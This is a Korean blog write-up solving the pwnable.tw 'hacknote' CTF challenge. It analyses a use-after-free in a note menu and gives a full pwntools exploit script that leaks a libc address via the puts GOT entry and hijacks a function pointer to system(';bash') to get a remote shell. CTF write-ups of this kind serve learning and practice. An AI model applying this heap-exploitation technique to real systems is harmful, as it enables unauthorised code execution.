pwnable.tw - hacknote

2020. 10. 8. 14:07CTF's Write-up

문제 사진

 

처음으로 도전하는 pwanble.tw 문제이다.

pwanble.kr에 비해서 약간의 난의도가 있다는 개인적인 의견에 따라 다른 사이트들의 문제를 많이 접하고 접하기로 했었다.

 

문제를 실행시켜보면

 

실행화면

 

전형적인 heap문제답게 생성, 삭제, 보기 이렇게 주어진다.

 

ida로 내부에 취약점에 대해서 살펴보면

 

 

ida main

 

메인에서 add, delete, show를 확인할 수 있고(내가 함수명 바꿔줌)

 

ida add

 

이 문제의 핵심이라고 할 수 있는 add 부분에서 heap_print함수가 중요한데,

이따 이 함수를 활용해소 libc leak을 할것이다. (uaf)

 

ida delete

 

free하는 부분을 보면 2번 free가 이루어지는데, 2번째 heap free --> 1번째 heap free순서로 이루어진다.

즉 1번 malloc할때 2번 나눠서 malloc 하고, free도 2번 나눠서 하는거다.

 

 

ida print(show)

 

출력해주는 부분에서는

if ( ptr[v1] )
    (*ptr[v1])(ptr[v1]); 

 

와 같이 되어있어서 (*ptr[v1]) <-- 함수 (ptr[v1]); <-- 인자 형식으로 실행이 가능하다

이부분에서 print_heap(puts_got) 으로 릭할것이다.

 

따라서 공격과정을 생각해보면

 

1. fastbin * 2 add

2. fasatbin * 2 free

3. print_heap(puts_got)

4. leak

5. system;bash이다.

 

2번까지의 과정을 마치면

 

 

gdb gef

 

이렇게 만들어지고, 여기서 

 

pay = p32(print_add) + p32(puts_got_add)

add(8, "ABCD1234")

 

를 해주면

 

 

 

heap 영역에 이렇게 들어가게되고,

 

show(0)을 해주면

 

 

해당 주소로 함수가 실행되 crash가 되는것을 볼 수 있다(grin)

payload는 아래와 같다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
 
#r = process("./hacknote")
= remote("chall.pwnable.tw"10102)
= ELF("./hacknote")
#l = e.libc
= ELF("./libc_32.so.6")
context.log_level = "debug"
 
print_add = 0x0804862B
puts_got_add = e.got['puts']
puts_off = l.sym['puts']
system_off = l.sym['system']
 
 
def add(size , content) :
    r.sendlineafter("Your choice :""1")
    r.sendlineafter("Note size :"str(size))
    r.sendlineafter("Content :"str(content))
 
 
def delete(index) :
    r.sendlineafter("Your choice :""2")
    r.sendlineafter("Index :"str(index))
 
 
def show(index) :
    r.sendlineafter("Your choice :""3")
    r.sendlineafter("Index :"str(index))
 
 
 
 
add(24"AAAA")
add(24"BBBB")
delete(0)
delete(1)
pay = p32(print_add) + p32(puts_got_add)
add(8, pay)
show(0)
leak = u32(r.recv(4))
 
libc_base = leak - puts_off
system_add = libc_base + system_off
 
log.info("leak = " + hex(leak))
log.info("libc_base = " + hex(libc_base))
log.info("system_add = " + hex(system_add))
 
pay = p32(system_add) + ";bash"
delete(2)
add(9, pay)
show(0)
r.interactive()
cs

 

이를 실행시키면

 

 

exploit

 

shell을 획득할 수 있습니다

 

flag --> cat /home/hacknote/flag

입니다 ㅋㅋㅋ 여기서 잠깐 삽들었네요 ㅋㅋ

'CTF's Write-up' 카테고리의 다른 글

DreamHack - rev-basic-4  (0) 2020.11.29
DreamHack - rev-basic-3  (0) 2020.10.20
DreamHack - command-injection-1  (0) 2020.09.23
DreamHack - pathtraversal  (0) 2020.09.20
DreamHack - rev-basic-0  (0) 2020.09.19